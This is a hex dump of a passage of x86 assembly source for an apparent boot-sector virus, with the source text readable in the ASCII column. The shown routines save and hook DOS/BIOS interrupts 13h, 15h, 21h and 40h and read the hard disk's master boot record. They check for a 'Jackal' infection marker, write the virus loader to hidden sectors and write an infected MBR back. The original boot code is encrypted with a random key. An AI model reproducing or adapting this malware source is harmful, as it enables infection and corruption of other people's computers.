|00001080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001090| 72 65 74 66 0a 6c 6f 61 | 64 5f 66 61 69 6c 3a 20 |retf.loa|d_fail: |
|000010a0| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 31 38 68 | int| 18h|
|000010b0| 0a 6c 6f 61 64 65 72 5f | 65 6e 64 3a 0a 0a 3b 3d |.loader_|end:..;=|
|000010c0| 3d 3d 3d 3d 28 20 73 61 | 76 65 20 69 6e 74 73 20 |====( sa|ve ints |
|000010d0| 31 33 68 2c 20 31 35 68 | 2c 20 32 31 68 20 26 20 |13h, 15h|, 21h & |
|000010e0| 34 30 68 2e 20 41 73 73 | 75 6d 65 73 20 45 53 3d |40h. Ass|umes ES=|
|000010f0| 43 53 20 29 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |CS )====|========|
|00001100| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3b 0a 0a 63 6f |========|===;..co|
|00001110| 70 79 5f 69 6e 74 73 3a | 20 20 20 20 20 20 70 75 |py_ints:| pu|
|00001120| 73 68 20 20 20 20 64 73 | 0a 20 20 20 20 20 20 20 |sh ds|. |
|00001130| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00001140| 20 61 78 2c 61 78 0a 20 | 20 20 20 20 20 20 20 20 | ax,ax. | |
|00001150| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00001160| 73 2c 61 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |s,ax | |
|00001170| 20 20 20 20 20 20 20 3b | 20 73 65 67 6d 65 6e 74 | ;| segment|
|00001180| 20 30 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | 0. | |
|00001190| 20 20 20 6d 6f 76 20 20 | 20 20 20 73 69 2c 31 33 | mov | si,13|
|000011a0| 68 20 2a 20 34 68 0a 20 | 20 20 20 20 20 20 20 20 |h * 4h. | |
|000011b0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|000011c0| 69 2c 6f 66 66 73 65 74 | 20 69 6e 74 5f 31 33 0a |i,offset| int_13.|
|000011d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000011e0| 70 75 73 68 20 20 20 20 | 73 69 20 73 69 0a 20 20 |push |si si. |
|000011f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00001200| 76 73 77 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |vsw. | |
|00001210| 20 20 20 20 6d 6f 76 73 | 77 20 20 20 20 20 20 20 | movs|w |
|00001220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001230| 20 20 20 20 3b 20 69 6e | 74 20 31 33 68 20 74 6f | ; in|t 13h to|
|00001240| 20 69 6e 74 5f 31 33 0a | 20 20 20 20 20 20 20 20 | int_13.| |
|00001250| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00001260| 73 69 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |si. | |
|00001270| 20 20 20 6d 6f 76 73 77 | 0a 20 20 20 20 20 20 20 | movsw|. |
|00001280| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 73 77 20 20 | | movsw |
|00001290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000012a0| 20 20 20 20 20 20 20 20 | 20 3b 20 69 6e 74 20 31 | | ; int 1|
|000012b0| 33 68 20 74 6f 20 64 6f | 73 5f 31 33 0a 20 20 20 |3h to do|s_13. |
|000012c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000012d0| 20 20 20 20 20 73 69 2c | 31 35 68 20 2a 20 34 68 | si,|15h * 4h|
|000012e0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000012f0| 20 6d 6f 76 73 77 0a 20 | 20 20 20 20 20 20 20 20 | movsw. | |
|00001300| 20 20 20 20 20 20 20 6d | 6f 76 73 77 20 20 20 20 | m|ovsw |
|00001310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001320| 20 20 20 20 20 20 20 3b | 20 69 6e 74 20 31 35 68 | ;| int 15h|
|00001330| 20 74 6f 20 69 6e 74 5f | 31 35 0a 20 20 20 20 20 | to int_|15. |
|00001340| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|00001350| 20 20 20 73 69 20 20 20 | 20 20 20 20 20 20 20 20 | si | |
|00001360| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 61 64 64 | | ; add|
|00001370| 72 65 73 73 20 6f 66 20 | 69 6e 74 20 31 33 68 27 |ress of |int 13h'|
|00001380| 73 20 49 56 54 0a 20 20 | 20 20 20 20 20 20 20 20 |s IVT. | |
|00001390| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 62 79 | cm|p by|
|000013a0| 74 65 20 70 74 72 20 64 | 73 3a 5b 34 37 35 68 5d |te ptr d|s:[475h]|
|000013b0| 2c 61 6c 20 20 20 3b 20 | 61 6e 79 20 68 61 72 64 |,al ; |any hard|
|000013c0| 20 64 69 73 6b 73 3f 0a | 20 20 20 20 20 20 20 20 | disks?.| |
|000013d0| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 | |je |
|000013e0| 63 6f 70 79 5f 69 6e 74 | 5f 34 30 0a 20 20 20 20 |copy_int|_40. |
|000013f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00001400| 20 20 20 20 73 69 2c 34 | 30 68 20 2a 20 34 68 0a | si,4|0h * 4h.|
|00001410| 63 6f 70 79 5f 69 6e 74 | 5f 34 30 3a 20 20 20 20 |copy_int|_40: |
|00001420| 6d 6f 76 73 77 0a 20 20 | 20 20 20 20 20 20 20 20 |movsw. | |
|00001430| 20 20 20 20 20 20 6d 6f | 76 73 77 20 20 20 20 20 | mo|vsw |
|00001440| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001450| 20 20 20 20 20 20 3b 20 | 63 6f 70 79 20 69 6e 74 | ; |copy int|
|00001460| 20 31 33 68 2f 34 30 68 | 20 74 6f 20 69 6e 74 5f | 13h/40h| to int_|
|00001470| 34 30 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |40. | |
|00001480| 20 20 20 6d 6f 76 20 20 | 20 20 20 73 69 2c 32 31 | mov | si,21|
|00001490| 68 20 2a 20 34 68 0a 20 | 20 20 20 20 20 20 20 20 |h * 4h. | |
|000014a0| 20 20 20 20 20 20 20 6d | 6f 76 73 77 0a 20 20 20 | m|ovsw. |
|000014b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000014c0| 73 77 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |sw | |
|000014d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 69 | | ; i|
|000014e0| 6e 74 20 32 31 68 20 74 | 6f 20 69 6e 74 5f 32 31 |nt 21h t|o int_21|
|000014f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001500| 20 70 6f 70 20 20 20 20 | 20 64 73 0a 20 20 20 20 | pop | ds. |
|00001510| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 6e | | retn|
|00001520| 0a 0a 3b 3d 3d 3d 3d 3d | 28 20 67 65 74 20 69 6e |..;=====|( get in|
|00001530| 74 65 72 72 75 70 74 20 | 61 64 64 72 65 73 73 20 |terrupt |address |
|00001540| 29 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |)=======|========|
|00001550| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00001560| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3b |========|=======;|
|00001570| 0a 0a 67 65 74 5f 69 6e | 74 3a 20 20 20 20 20 20 |..get_in|t: |
|00001580| 20 20 70 75 73 68 20 20 | 20 20 61 78 0a 20 20 20 | push | ax. |
|00001590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|000015a0| 20 20 20 20 20 61 68 2c | 61 68 0a 20 20 20 20 20 | ah,|ah. |
|000015b0| 20 20 20 20 20 20 20 20 | 20 20 20 72 6f 6c 20 20 | | rol |
|000015c0| 20 20 20 61 78 2c 31 0a | 20 20 20 20 20 20 20 20 | ax,1.| |
|000015d0| 20 20 20 20 20 20 20 20 | 72 6f 6c 20 20 20 20 20 | |rol |
|000015e0| 61 78 2c 31 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ax,1. | |
|000015f0| 20 20 20 20 20 78 63 68 | 67 20 20 20 20 62 78 2c | xch|g bx,|
|00001600| 61 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax. | |
|00001610| 20 20 20 78 6f 72 20 20 | 20 20 20 61 78 2c 61 78 | xor | ax,ax|
|00001620| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001630| 20 6d 6f 76 20 20 20 20 | 20 65 73 2c 61 78 0a 20 | mov | es,ax. |
|00001640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6c | | l|
|00001650| 65 73 20 20 20 20 20 62 | 78 2c 65 73 3a 5b 62 78 |es b|x,es:[bx|
|00001660| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |] | ;|
|00001670| 20 67 65 74 20 69 6e 74 | 20 61 64 64 72 65 73 73 | get int| address|
|00001680| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001690| 20 70 6f 70 20 20 20 20 | 20 61 78 0a 20 20 20 20 | pop | ax. |
|000016a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 6e | | retn|
|000016b0| 0a 0a 3b 3d 3d 3d 3d 3d | 28 20 53 65 74 20 69 6e |..;=====|( Set in|
|000016c0| 74 65 72 72 75 70 74 20 | 61 64 64 72 65 73 73 20 |terrupt |address |
|000016d0| 29 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |)=======|========|
|000016e0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000016f0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3b |========|=======;|
|00001700| 0a 0a 73 65 74 5f 69 6e | 74 3a 20 20 20 20 20 20 |..set_in|t: |
|00001710| 20 20 70 75 73 68 20 20 | 20 20 61 78 20 62 78 20 | push | ax bx |
|00001720| 64 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds. | |
|00001730| 20 20 20 78 6f 72 20 20 | 20 20 20 61 68 2c 61 68 | xor | ah,ah|
|00001740| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001750| 20 72 6f 6c 20 20 20 20 | 20 61 78 2c 31 0a 20 20 | rol | ax,1. |
|00001760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 72 6f | | ro|
|00001770| 6c 20 20 20 20 20 61 78 | 2c 31 0a 20 20 20 20 20 |l ax|,1. |
|00001780| 20 20 20 20 20 20 20 20 | 20 20 20 78 63 68 67 20 | | xchg |
|00001790| 20 20 20 61 78 2c 62 78 | 0a 20 20 20 20 20 20 20 | ax,bx|. |
|000017a0| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|000017b0| 20 61 78 2c 61 78 0a 20 | 20 20 20 20 20 20 20 20 | ax,ax. | |
|000017c0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|000017d0| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|000017e0| 20 20 6d 6f 76 20 20 20 | 20 20 64 73 2c 61 78 0a | mov | ds,ax.|
|000017f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001800| 6d 6f 76 20 20 20 20 20 | 64 73 3a 5b 62 78 5d 2c |mov |ds:[bx],|
|00001810| 64 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dx. | |
|00001820| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 3a 5b 62 | pop | ds:[b|
|00001830| 78 20 2b 20 32 5d 0a 20 | 20 20 20 20 20 20 20 20 |x + 2]. | |
|00001840| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00001850| 73 20 62 78 20 61 78 0a | 20 20 20 20 20 20 20 20 |s bx ax.| |
|00001860| 20 20 20 20 20 20 20 20 | 72 65 74 6e 0a 20 20 20 | |retn. |
|00001870| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 0a 70 | | ..p|
|00001880| 75 73 68 5f 61 6c 6c 3a | 20 20 20 20 20 20 20 70 |ush_all:| p|
|00001890| 6f 70 20 20 20 20 20 63 | 73 3a 70 75 73 68 5f 70 |op c|s:push_p|
|000018a0| 6f 70 5f 72 65 74 0a 20 | 20 20 20 20 20 20 20 20 |op_ret. | |
|000018b0| 20 20 20 20 20 20 20 70 | 75 73 68 66 0a 20 20 20 | p|ushf. |
|000018c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 | | pus|
|000018d0| 68 20 20 20 20 61 78 20 | 62 78 20 63 78 20 64 78 |h ax |bx cx dx|
|000018e0| 20 62 70 20 73 69 20 64 | 69 20 64 73 20 65 73 0a | bp si d|i ds es.|
|000018f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001900| 6d 6f 76 20 20 20 20 20 | 62 70 2c 73 70 0a 70 75 |mov |bp,sp.pu|
|00001910| 73 68 5f 70 6f 70 5f 6a | 6d 70 3a 20 20 20 6a 6d |sh_pop_j|mp: jm|
|00001920| 70 20 20 20 20 20 63 73 | 3a 70 75 73 68 5f 70 6f |p cs|:push_po|
|00001930| 70 5f 72 65 74 0a 0a 70 | 6f 70 5f 61 6c 6c 3a 20 |p_ret..p|op_all: |
|00001940| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 63 | p|op c|
|00001950| 73 3a 70 75 73 68 5f 70 | 6f 70 5f 72 65 74 0a 20 |s:push_p|op_ret. |
|00001960| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00001970| 6f 70 20 20 20 20 20 65 | 73 20 64 73 20 64 69 20 |op e|s ds di |
|00001980| 73 69 20 62 70 20 64 78 | 20 63 78 20 62 78 20 61 |si bp dx| cx bx a|
|00001990| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|000019a0| 20 20 70 6f 70 66 0a 20 | 20 20 20 20 20 20 20 20 | popf. | |
|000019b0| 20 20 20 20 20 20 20 6a | 6d 70 20 20 20 20 20 70 | j|mp p|
|000019c0| 75 73 68 5f 70 6f 70 5f | 6a 6d 70 0a 0a 3b 3d 3d |ush_pop_|jmp..;==|
|000019d0| 3d 3d 3d 28 20 49 6e 66 | 65 63 74 20 44 72 69 76 |===( Inf|ect Driv|
|000019e0| 65 20 43 3a 20 29 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |e C: )==|========|
|000019f0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00001a00| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00001a10| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3b 0a 0a 69 6e 66 |========|==;..inf|
|00001a20| 5f 68 61 72 64 3a 20 20 | 20 20 20 20 20 70 75 73 |_hard: | pus|
|00001a30| 68 20 20 20 20 63 73 20 | 63 73 0a 20 20 20 20 20 |h cs |cs. |
|00001a40| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|00001a50| 20 20 20 65 73 20 64 73 | 0a 20 20 20 20 20 20 20 | es ds|. |
|00001a60| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001a70| 20 61 78 2c 32 30 31 68 | 0a 20 20 20 20 20 20 20 | ax,201h|. |
|00001a80| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001a90| 20 62 78 2c 6f 66 66 73 | 65 74 20 64 69 73 6b 5f | bx,offs|et disk_|
|00001aa0| 62 75 66 66 0a 20 20 20 | 20 20 20 20 20 20 20 20 |buff. | |
|00001ab0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 78 2c | mov| cx,|
|00001ac0| 31 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1. | |
|00001ad0| 20 20 6d 6f 76 20 20 20 | 20 20 64 78 2c 38 30 68 | mov | dx,80h|
|00001ae0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001af0| 20 63 61 6c 6c 20 20 20 | 20 63 61 6c 6c 5f 31 33 | call | call_13|
|00001b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001b10| 20 3b 20 72 65 61 64 20 | 4d 42 52 20 6f 66 20 64 | ; read |MBR of d|
|00001b20| 72 69 76 65 20 43 3a 0a | 20 20 20 20 20 20 20 20 |rive C:.| |
|00001b30| 20 20 20 20 20 20 20 20 | 6a 62 20 20 20 20 20 20 | |jb |
|00001b40| 63 61 6e 74 5f 69 6e 66 | 5f 68 61 72 64 0a 20 20 |cant_inf|_hard. |
|00001b50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 6d | | cm|
|00001b60| 70 20 20 20 20 20 64 73 | 3a 5b 62 78 2e 70 74 5f |p ds|:[bx.pt_|
|00001b70| 73 74 61 72 74 5f 68 65 | 61 64 5d 2c 63 68 20 3b |start_he|ad],ch ;|
|00001b80| 20 4a 61 63 6b 61 6c 3f | 0a 20 20 20 20 20 20 20 | Jackal?|. |
|00001b90| 20 20 20 20 20 20 20 20 | 20 6a 65 20 20 20 20 20 | | je |
|00001ba0| 20 63 61 6e 74 5f 69 6e | 66 5f 68 61 72 64 0a 20 | cant_in|f_hard. |
|00001bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00001bc0| 6f 76 20 20 20 20 20 63 | 78 2c 64 73 3a 5b 62 78 |ov c|x,ds:[bx|
|00001bd0| 2e 70 74 5f 65 6e 64 5f | 73 65 63 74 6f 72 5f 74 |.pt_end_|sector_t|
|00001be0| 72 61 63 6b 5d 0a 20 20 | 20 20 20 20 20 20 20 20 |rack]. | |
|00001bf0| 20 20 20 20 20 20 61 6e | 64 20 20 20 20 20 63 78 | an|d cx|
|00001c00| 2c 30 30 30 30 30 30 30 | 30 30 30 31 31 31 31 31 |,0000000|00011111|
|00001c10| 31 62 20 20 20 20 3b 20 | 67 65 74 20 73 65 63 74 |1b ; |get sect|
|00001c20| 6f 72 20 63 6f 75 6e 74 | 0a 20 20 20 20 20 20 20 |or count|. |
|00001c30| 20 20 20 20 20 20 20 20 | 20 73 75 62 20 20 20 20 | | sub |
|00001c40| 20 63 78 2c 73 65 63 74 | 5f 73 69 7a 65 0a 20 20 | cx,sect|_size. |
|00001c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 62 | | jb|
|00001c60| 65 20 20 20 20 20 63 61 | 6e 74 5f 69 6e 66 5f 68 |e ca|nt_inf_h|
|00001c70| 61 72 64 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ard. | |
|00001c80| 20 20 20 20 63 6d 70 20 | 20 20 20 20 63 6c 2c 31 | cmp | cl,1|
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ca0| 20 20 20 20 3b 20 74 6f | 6f 20 66 65 77 20 73 65 | ; to|o few se|
|00001cb0| 63 74 6f 72 73 3f 0a 20 | 20 20 20 20 20 20 20 20 |ctors?. | |
|00001cc0| 20 20 20 20 20 20 20 6a | 62 65 20 20 20 20 20 63 | j|be c|
|00001cd0| 61 6e 74 5f 69 6e 66 5f | 68 61 72 64 0a 20 20 20 |ant_inf_|hard. |
|00001ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c | | cal|
|00001cf0| 6c 20 20 20 20 63 6f 70 | 79 5f 6c 6f 61 64 65 72 |l cop|y_loader|
|00001d00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 63 | | ; c|
|00001d10| 6f 70 79 20 6c 6f 61 64 | 65 72 20 69 6e 74 6f 20 |opy load|er into |
|00001d20| 4d 42 52 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |MBR. | |
|00001d30| 20 20 20 20 6a 62 20 20 | 20 20 20 20 63 61 6e 74 | jb | cant|
|00001d40| 5f 69 6e 66 5f 68 61 72 | 64 0a 20 20 20 20 20 20 |_inf_har|d. |
|00001d50| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 | | push |
|00001d60| 20 20 62 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 | bx. | |
|00001d70| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|00001d80| 33 30 30 68 20 2b 20 73 | 65 63 74 5f 73 69 7a 65 |300h + s|ect_size|
|00001d90| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001da0| 20 78 6f 72 20 20 20 20 | 20 62 78 2c 62 78 0a 20 | xor | bx,bx. |
|00001db0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00001dc0| 61 6c 6c 20 20 20 20 63 | 61 6c 6c 5f 31 33 20 20 |all c|all_13 |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001de0| 20 77 72 69 74 65 20 63 | 6f 64 65 20 74 6f 20 68 | write c|ode to h|
|00001df0| 69 64 64 65 6e 20 73 65 | 63 74 6f 72 73 0a 20 20 |idden se|ctors. |
|00001e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00001e10| 70 20 20 20 20 20 62 78 | 0a 20 20 20 20 20 20 20 |p bx|. |
|00001e20| 20 20 20 20 20 20 20 20 | 20 6a 62 20 20 20 20 20 | | jb |
|00001e30| 20 63 61 6e 74 5f 69 6e | 66 5f 68 61 72 64 0a 20 | cant_in|f_hard. |
|00001e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00001e50| 6f 76 20 20 20 20 20 61 | 78 2c 33 30 31 68 0a 20 |ov a|x,301h. |
|00001e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00001e70| 6f 76 20 20 20 20 20 63 | 6c 2c 31 0a 20 20 20 20 |ov c|l,1. |
|00001e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c | | call|
|00001e90| 20 20 20 20 63 61 6c 6c | 5f 31 33 20 20 20 20 20 | call|_13 |
|00001ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 77 72 | | ; wr|
|00001eb0| 69 74 65 20 69 6e 66 65 | 63 74 65 64 20 4d 42 52 |ite infe|cted MBR|
|00001ec0| 0a 63 61 6e 74 5f 69 6e | 66 5f 68 61 72 64 3a 20 |.cant_in|f_hard: |
|00001ed0| 20 72 65 74 6e 20 20 20 | 0a 0a 3b 3d 3d 3d 3d 3d | retn |..;=====|
|00001ee0| 28 20 43 6f 70 79 20 4c | 6f 61 64 65 72 20 69 6e |( Copy L|oader in|
|00001ef0| 74 6f 20 64 69 73 6b 5f | 62 75 66 66 20 28 42 58 |to disk_|buff (BX|
|00001f00| 29 20 29 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |) )=====|========|
|00001f10| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00001f20| 3d 3d 3d 3d 3d 3d 3d 3b | 0a 0a 63 6f 70 79 5f 6c |=======;|..copy_l|
|00001f30| 6f 61 64 65 72 3a 20 20 | 20 20 70 75 73 68 20 20 |oader: | push |
|00001f40| 20 20 63 78 20 64 78 0a | 20 20 20 20 20 20 20 20 | cx dx.| |
|00001f50| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|00001f60| 77 6f 72 64 20 70 74 72 | 20 64 73 3a 5b 62 78 2b |word ptr| ds:[bx+|
|00001f70| 31 66 65 68 5d 2c 30 61 | 61 35 35 68 20 20 20 20 |1feh],0a|a55h |
|00001f80| 3b 20 76 61 6c 69 64 20 | 62 6f 6f 74 20 63 6f 64 |; valid |boot cod|
|00001f90| 65 3f 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e?. | |
|00001fa0| 20 20 20 6a 6e 65 20 20 | 20 20 20 63 6f 70 79 5f | jne | copy_|
|00001fb0| 6c 6f 61 64 5f 6e 6f 0a | 20 20 20 20 20 20 20 20 |load_no.| |
|00001fc0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001fd0| 64 69 2c 6f 66 66 73 65 | 74 20 62 6f 6f 74 5f 63 |di,offse|t boot_c|
|00001fe0| 6f 64 65 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ode. | |
|00001ff0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 3a 5b | mov | ds:[|
|00002000| 64 69 2b 6c 6f 61 64 5f | 73 65 63 74 2d 62 6f 6f |di+load_|sect-boo|
|00002010| 74 5f 63 6f 64 65 5d 2c | 63 78 20 20 3b 20 73 61 |t_code],|cx ; sa|
|00002020| 76 65 20 74 72 61 63 6b | 2f 73 65 63 74 6f 72 0a |ve track|/sector.|
|00002030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002040| 61 6e 64 20 20 20 20 20 | 64 6c 2c 38 30 68 20 20 |and |dl,80h |
|00002050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002060| 20 20 20 20 20 20 20 20 | 3b 20 44 72 69 76 65 20 | |; Drive |
|00002070| 43 3a 20 6f 72 20 41 3a | 0a 20 20 20 20 20 20 20 |C: or A:|. |
|00002080| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00002090| 20 64 73 3a 5b 64 69 2b | 6c 6f 61 64 5f 68 65 61 | ds:[di+|load_hea|
|000020a0| 64 2d 62 6f 6f 74 5f 63 | 6f 64 65 5d 2c 64 78 20 |d-boot_c|ode],dx |
|000020b0| 20 3b 20 73 61 76 65 20 | 68 65 61 64 2f 64 69 73 | ; save |head/dis|
|000020c0| 6b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k. | |
|000020d0| 20 20 63 61 6c 6c 20 20 | 20 20 66 69 6e 64 5f 62 | call | find_b|
|000020e0| 6f 6f 74 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |oot | |
|000020f0| 20 20 3b 20 66 69 6e 64 | 20 63 6f 64 65 2f 61 6c | ; find| code/al|
|00002100| 72 65 61 64 79 20 69 6e | 66 65 63 74 65 64 3f 0a |ready in|fected?.|
|00002110| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002120| 6a 65 20 20 20 20 20 20 | 63 6f 70 79 5f 6c 6f 61 |je |copy_loa|
|00002130| 64 5f 6e 6f 0a 20 20 20 | 20 20 20 20 20 20 20 20 |d_no. | |
|00002140| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 72 61 6e | cal|l ran|
|00002150| 64 6f 6d 5f 31 20 20 20 | 20 20 20 20 20 20 20 20 |dom_1 | |
|00002160| 20 20 20 20 20 3b 20 67 | 65 74 20 72 61 6e 64 6f | ; g|et rando|
|00002170| 6d 20 6b 65 79 0a 20 20 | 20 20 20 20 20 20 20 20 |m key. | |
|00002180| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 | mo|v ds|
|00002190| 3a 5b 64 69 20 2d 20 31 | 5d 2c 61 68 20 20 20 20 |:[di - 1|],ah |
|000021a0| 20 20 20 20 20 20 3b 20 | 73 61 76 65 20 6b 65 79 | ; |save key|
|000021b0| 20 61 74 20 62 6f 6f 74 | 5f 63 6f 64 65 5f 6b 65 | at boot|_code_ke|
|000021c0| 79 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |y. | |
|000021d0| 20 20 70 75 73 68 20 20 | 20 20 73 69 0a 20 20 20 | push | si. |
|000021e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c | | cal|
|000021f0| 6c 20 20 20 20 6d 6f 76 | 65 5f 62 6f 6f 74 5f 63 |l mov|e_boot_c|
|00002200| 6f 64 65 20 20 20 20 20 | 20 20 20 20 20 3b 20 73 |ode | ; s|
|00002210| 61 76 65 20 62 6f 6f 74 | 20 63 6f 64 65 20 61 6e |ave boot| code an|
|00002220| 64 20 65 6e 63 72 79 70 | 74 0a 20 20 20 20 20 20 |d encryp|t. |
|00002230| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00002240| 20 20 73 69 2c 64 69 20 | 20 20 20 20 20 20 20 20 | si,di | |
|00002250| 20 20 20 20 20 20 20 20 | 20 20 3b 20 6f 66 66 73 | | ; offs|
|00002260| 65 74 20 6f 66 20 6c 6f | 61 64 65 72 0a 20 20 20 |et of lo|ader. |
